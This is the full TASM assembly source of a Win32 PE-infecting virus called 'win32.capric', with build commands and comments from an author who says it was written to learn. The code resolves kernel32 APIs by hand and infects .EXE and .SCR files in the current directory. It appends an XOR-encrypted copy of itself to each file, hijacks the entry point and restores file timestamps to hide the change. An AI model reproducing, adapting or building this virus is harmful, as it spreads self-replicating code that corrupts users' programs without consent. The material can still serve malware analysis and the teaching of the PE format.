; win32.capric
;
; A basic win32-pe-infection virus I made just to learn how the stuff works in
; win32. Read code / comments to learn more.
;                 
; compile with: tasm32 /ml gv.asm,,;
;               tlink32 /x /Tpe /c gv.obj,gv.exe,,import32.lib
; and set code-section writeable:                            
;               editbin /SECTION:CODE,rwe gv.exe            
;                                                          
; / capsyl                         
;
.586p
.model flat, stdcall

extrn MessageBoxA:PROC
extrn ExitProcess:PROC


.data

; debug-stuff, (only 1st gen) .
	msgt db	"hey, hoh",0
	msgm db	"1st GENERATiON iS DONE.",0

.code
start:
	
	virsz		equ	vend-dstart
	decsz		equ	vstart-dstart

dstart:	
	call	delta
delta:	pop	ebp
	sub	ebp,	offset delta

	; first gen ? if so, don't decrypt virus
	or	ebp,	ebp
	jz	vstart

	; decrypt virus-code 
	mov	ebx,	90909090h	; changes
	dkey=dword ptr $-4		; .
	lea	esi,	[ebp+vstart]
	mov	edi,	esi
	mov	ecx,	virsz/4
decr1:	lodsd
	xor	eax,	ebx
	stosd
	loop	decr1

	db	0e9h
	dd	00000000h
	laban	equ	dword ptr $-4

;	- V i R U S -
vstart:

; start out by getting the base-addr of the kernel, (kernel32.dll)
; take a value from stack, dec it till we hit the start of the kernel
	mov	ebx,		[esp]
	and	ebx,		0ffff0000h
	mov	ecx,		50h
getk32:	cmp	word ptr [ebx], "ZM"
	jz	short gotk32
	sub	ebx,	10000h
	loop	getk32
	stc
gotk32:	jc	retback			; ...	
	mov	[ebp+kernelbase], ebx

	; these change during the infection,
	; so save them, 
	push	dword ptr [ebp+tmpep]
	pop	dword ptr [ebp+oldep]
	push	dword ptr [ebp+tmpib]
	pop	dword ptr [ebp+oldib]

	; get address of the GetProcAddr API
gAPI:
	push	ebx
	pop	edx	; kernelbase in edx
	add	edx,	[edx+3ch]
	add	edx,	78h
	mov	edx,	[edx]		
	add	edx,	ebx         ; export table	 
	mov	esi,	[edx+20h]   ; Address of Names (RVA)
	add	esi,	ebx         ; ptrs in esi
	xor	ecx,	ecx         ; counter
get_GetProcAddr:
	inc	ecx        	; inc counter
	lodsd
	add	eax,	ebx	; heya!
	cmp	[eax],	'PteG'
	jnz	get_GetProcAddr
	cmp	[eax+4],'Acor'
	jnz	get_GetProcAddr
	cmp	[eax+8],'erdd'
	jnz	get_GetProcAddr

	; got it.
	; addr = couter*2, (in ordinals), then result times 4 (in addr)
	mov	edi,	ebx	; kb in edi
	mov	ebx,	[edx+24h]
	add	ebx,	edi
	movzx	ecx,	word ptr [ebx+2*ecx]; counter*2 +addr of ordinals
	sub	ecx,	[edx+10h]
	mov	ebx,	[edx+1Ch]
	add	ebx,	edi		; VA
	mov	edx,	[ebx+4*ecx]	; oye
	add	edx,	edi
	mov	dword ptr [ebp+aGetProcAddr], edx

	; got it.

	; gAPIs: ebx = kernelbase, esi = apis, 
	;        edi = place 2 store addr.

	; get apis from kernel32.dll
	mov	ebx,	[ebp+kernelbase]
	lea	esi,	[ebp+k32APIs]
	lea	edi,	[ebp+k32APIa]
	call	gAPIs	

	; get apis from user32.dll 	
	lea	eax,	dword ptr [ebp+user32dll]
	push	eax
	call	dword ptr [ebp+aLoadLibraryA]
	mov	ebx,	eax
	lea	esi,	[ebp+u32APIs]
	lea	edi,	[ebp+u32APIa]
	call	gAPIs	

	; find files, (only current dir) and infect them
	; (2 PE-files at a time)
	call	findNinf

	; ret back 
	or	ebp,	ebp
	jz	exit1stgen

retback:
	call	goodmsg
	mov	eax,	[ebp+oldep]
	add	eax,	[ebp+oldib]
	jmp	eax	; jump to hosts real entrypoint	

goodmsg:
	pushad
	lea	eax,	[ebp+msgm_A]
	lea	ebx,	[ebp+msgt_A]	
	call	[ebp+aMessageBoxA],0,eax,ebx,0
	popad
	ret

; -----------------

; findNinf routine, finds file(s), then jumps to preinf
; and opens & maps it, then checkfile and at last infectFile 
findNinf:
; open current dir.
	lea	edi,	[ebp+currdir]
	call	[ebp+aGetCurrentDirectoryA],7Fh,edi

	; get other dirs...

	call	infectDir
	ret

infectDir:
	mov	byte ptr [ebp+infcounter], ninfections 
	lea	eax,	[ebp+exemask]
	call	findFile

	mov	byte ptr [ebp+infcounter], ninfections
	lea	eax,	[ebp+scrmask]
	call	findFile

	ret

; find one file, (get search handle)
findFile:
	lea	ebx,	[ebp+searchData]
	call	[ebp+aFindFirstFileA],eax,ebx
	; save search-handle
	mov	[ebp+searchHndl], eax
	jmp	preinf

; find more files
findFiles:
	; clear out old filename
	xor	eax,	eax
	lea	edi,	[ebp+searchData.wfd_FileName]
	mov	ecx,	260
	rep	stosb
	; find more files
	lea	eax,	[ebp+searchData]
	call	[ebp+aFindNextFileA],[ebp+searchHndl],eax	
	or	eax,	eax
	jz	CloseSearchHndl          ; no more, close handle

; "prepare" found file, open, map
preinf:
	cmp	byte ptr [ebp+infcounter], 0 
	jz	CloseSearchHndl

	lea	esi,	[ebp+searchData.wfd_FileName]
	; set fileattributes to "any file"
	call	[ebp+aSetFileAttributesA],esi,80h

	; open file, existing rw 
	call	[ebp+aCreateFileA],esi,0C0000000h,0,0,3,0,0

	inc	eax
	jz	findFiles		
	dec	eax
	mov	[ebp+fileHndl],	eax

; first map to only check the header 
	mov	ecx,	040h
	call	mapit

checkFile:
	; check if MZ-sign
	cmp	word ptr [eax],	'ZM'
	jnz	demapfile	
	mov	esi,	[eax+3Ch]	
	add	esi,	eax
	; check PE-sign
	cmp	dword ptr [esi], 'EP'
	jnz	demapfile	
	; check if already infected
	cmp	byte ptr [esi+3Bh],	'X'
	jz		demapfile	

	; oh, a nice file (or is it?), infect it
	; first close the maphandle
	call	[ebp+aUnmapViewOfFile],[ebp+mapAddr]
	call	[ebp+aCloseHandle],[ebp+mapHndl]

	; now map the file + extra
	mov	ecx,	[ebp+searchData.wfd_FileSizeLow]
	add	ecx,	virsz+1000h
	call	mapit
	jmp	infectFile		; infect file

; mapping routine, ecx holds how much to map
mapit:
	push	ecx
	call	[ebp+aCreateFileMappingA],[ebp+fileHndl],0,4,0,ecx,0
	or	eax,	eax
	jz	closefile	
	mov	[ebp+mapHndl],	eax
	
	pop	ecx	; how much to map 

	; mappy, (eax = map-handle)	
	call	[ebp+aMapViewOfFile],eax,2,0,0,ecx
	mov	[ebp+mapAddr],	eax
	ret

infectFile:
	mov	esi,	[eax+3Ch]
	add	esi,	eax
	mov	edi,	esi
	; get addr of last section
	mov	ebx,	[esi+74h]         ; dir-entries
	shl	ebx,	3                 ; * 8 (size)
	movzx	eax,	word ptr [esi+6]  ; sections
	dec	eax                       ; last one
	mov	ecx,	28h               ; * (size)
	mul	ecx                       ; .
	add	esi,	78h               ; dir-table
	add	esi,	ebx               ; add them
	add	esi,	eax               ; and addr in esi

	; addr of last section in esi
	; start of pe-hdr in edi	

	; set section RWE 
	or	dword ptr [esi+24h],	0A0000020h	


	; save old entrypoint and imagebase
	mov	eax,         [edi+28h]
	mov	[ebp+tmpep], eax	
	mov	eax,         [edi+34h]
	mov	[ebp+tmpib], eax

	; calculate new entrypoint 
	mov	eax,	[esi+0Ch]      ; VirtualAddress
	add	eax,	[esi+10h]      ; SizeOfRawData 
	mov	[ebp+newep],	eax    ; save virus-entrypoint
	mov	[edi+28h],	eax    ;
	
	; get where to write virus 
	mov	ebx,	[esi+10h]      ; SizeOfRawData
	add	ebx,	[esi+14h]      ; PointerToRawData
	push	ebx                    ; offset in file of where to write vir

	; align the new size to add
	xor	edx,	edx            ;
	mov	eax,	[esi+10h]      ; SizeOfRawData
	add	eax,	virsz          ; add with sizeof vir
	push	eax                    ;
	mov	ecx,	[edi+3Ch]      ; alignment
	div	ecx                    ; eax / ecx, remanining in edx
	pop	eax                    ;
	sub	ecx,	edx            ;	
	add	eax,	ecx            ; aligned size in eax
	; set new size of section, file  
	mov	[esi+10h],	eax    ; SizeOfRawData
	mov	[esi+08h],	eax    ; VirtualSize
	add	eax,	[esi+0Ch]      ; VirtualAddress	
	mov	[edi+50h],	eax    ; SizeOfImage

	; get random vaule for en/de-cryption, and save
	call	[ebp+aGetTickCount]
	mov	[ebp+dkey],	eax
	mov	[ebp+ekey],	eax


; - writing things to file -
	
	
	pop	ebx                    ; offset in file
	mov	byte ptr [edi+3Bh],'X' ; infection mark

	lea	esi,	[ebp+dstart]   ;
	xchg	ebx,	edi            ; phdr in ebx, offset in edi
	add	edi,	[ebp+mapAddr]  ; normalize
	mov	ecx,	decsz          ;
	rep 	movsb                  ; write decryptor
	
	; now encrypt virus and write it to the file
encr:
	mov	ebx,	90909090h	
	ekey=dword ptr $-4
	lea	esi,	[ebp+vstart]
	mov	ecx,	virsz/4
encr1:	lodsd
	xor	eax,	ebx
	stosd
	loop	encr1

	dec	byte ptr [ebp+infcounter]	
	
	
	jmp	unmapfile

; to get it right with no-good files
demapfile:
	mov	ecx,	[ebp+searchData.wfd_FileSizeLow]
	call	[ebp+aSetFilePointer],[ebp+fileHndl],ecx,0,0
	call	[ebp+aSetEndOfFile],[ebp+fileHndl]

; unmap and close file
unmapfile:	call	[ebp+aUnmapViewOfFile],[ebp+mapAddr]
closemap:	call	[ebp+aCloseHandle],[ebp+mapHndl]
closefile:	call	[ebp+aCloseHandle],[ebp+fileHndl]	

; set back the original fileattributes
setdefattrib:	
	lea	eax,	[ebp+searchData.wfd_CreationTime]
	lea	ebx,	[ebp+searchData.wfd_LastAccessTime]
	lea	ecx,	[ebp+searchData.wfd_LastWriteTime]
	call	[ebp+aSetFileTime],[ebp+fileHndl],eax,ebx,ecx

	lea	eax, [ebp+searchData.wfd_FileName]
	call	[ebp+aSetFileAttributesA],eax, \
			[ebp+searchData.wfd_FileAttributes]

	; find more files
	jmp	findFiles

CloseSearchHndl:
	call	[ebp+aFindClose], [ebp+searchHndl]
findDone:
	ret

; Gets apis from dlls usings GetProcAddr
gAPIs: ; ebx = dll to get from, esi = ptr to api-name, edi = save .
	push	esi
	push	ebx
	call	dword ptr [ebp+aGetProcAddr]	
	test	eax,	eax
	jz	gexit	
	stosd
g1:	; get next api
	inc	esi
	cmp	byte ptr [esi], 0
	jnz	g1
	inc	esi
	cmp	byte ptr [esi], 0FFh ; end of 'em 
	jnz	gAPIs
gexit:
	ret

; DATA -------------------------------------------------------- 

filetime                  STRUC      ; filetime structure
   ft_dwLowDateTime            dd ?    
   ft_dwHighDateTime           dd ?   
filetime                  ENDS  ;

win32_find_data	          STRUC 
   wfd_FileAttributes          dd ?   
   wfd_CreationTime            filetime ?   
   wfd_LastAccessTime          filetime ?  
   wfd_LastWriteTime           filetime ? 
   wfd_FileSizeHigh            dd ?      
   wfd_FileSizeLow             dd ?      
   wfd_Reserved0               dd ?         
   wfd_Reserved1               dd ?         
   wfd_FileName                dd 260 dup(?)
   wfd_AlternateFileName       dd 13 dup(?)
       	                       dd  3 dup(?)      ;	padding 
win32_find_data           ENDS        

	searchData	win32_find_data	?
	searchHndl	dd	0
	exemask		db	"*.EXE",0
	scrmask		db	"*.SCR",0
	currdir		db	7Fh dup (0)
	ninfections	equ	8	
	infcounter	db	ninfections 

	fileattr	dd	0
	fileHndl	dd	0
	mapHndl		dd	0
	mapAddr		dd	0
	
	kernelbase	dd	0
	user32dll	db	'USER32.DLL',0

	newep		dd	0
	oldep		dd	01000h	
	tmpep		dd	0
	oldib		dd	0
	tmpib		dd	0

;  the info-msg
	msgt_A 		db	"infO",0 
	msgm_A 		db	"hm,hm, iNFECTED I AM.... virsz: " 
			db	virsz/10000 MOD 10 + 30h
			db	virsz/01000 MOD 10 + 30h
			db	virsz/00100 MOD 10 + 30h
			db	virsz/00010 MOD 10 + 30h
			db	virsz/00001 MOD 10 + 30h
			db	" bytes.",0

; APIs . 
	sGetProcAddr            db 'GetProcAddr',0
	aGetProcAddr            dd 0
k32APIs:
	sLoadLibraryA           db 'LoadLibraryA',0
	sExitProcess            db 'ExitProcess',0
	sCreateFileA            db 'CreateFileA',0
	sCloseHandle            db 'CloseHandle',0
	sFindFirstFileA         db 'FindFirstFileA',0
	sFindNextFileA          db 'FindNextFileA',0
	sFindClose              db 'FindClose',0
	sSetFilePointer         db 'SetFilePointer',0
	sSetEndOfFile           db 'SetEndOfFile',0
	sSetFileAttributesA     db 'SetFileAttributesA',0
	sSetFileTimeA           db 'SetFileTime',0
	sGetCurrentDirectoryA   db 'GetCurrentDirectoryA',0
	sCreateFileMappingA     db 'CreateFileMappingA',0
	sMapViewOfFile          db 'MapViewOfFile',0
	sUnmapViewOfFile        db 'UnmapViewOfFile',0
	sGetTickCount           db 'GetTickCount',0
	                        db 0FFh
u32APIs:
	sMessageBoxA            db 'MessageBoxA',0
	                        db 0FFh
k32APIa:
	aLoadLibraryA           dd	0
	aExitProcess            dd	0
	aCreateFileA            dd	0
	aCloseHandle            dd	0
	aFindFirstFileA         dd	0
	aFindNextFileA          dd	0
	aFindClose              dd	0
	aSetFilePointer         dd	0
	aSetEndOfFile           dd	0
	aSetFileAttributesA     dd	0
	aSetFileTime            dd	0
	aGetCurrentDirectoryA   dd	0
	aCreateFileMappingA     dd	0
	aMapViewOfFile          dd	0
	aUnmapViewOfFile        dd	0
	aGetTickCount           dd	0

u32APIa:
	aMessageBoxA            dd	0


vend: ; the end of virus

; 1st Generation .
exit1stgen:	; ofGHG! 
	call	MessageBoxA,0,offset msgm,offset msgt,0
	call	ExitProcess,0


end start






















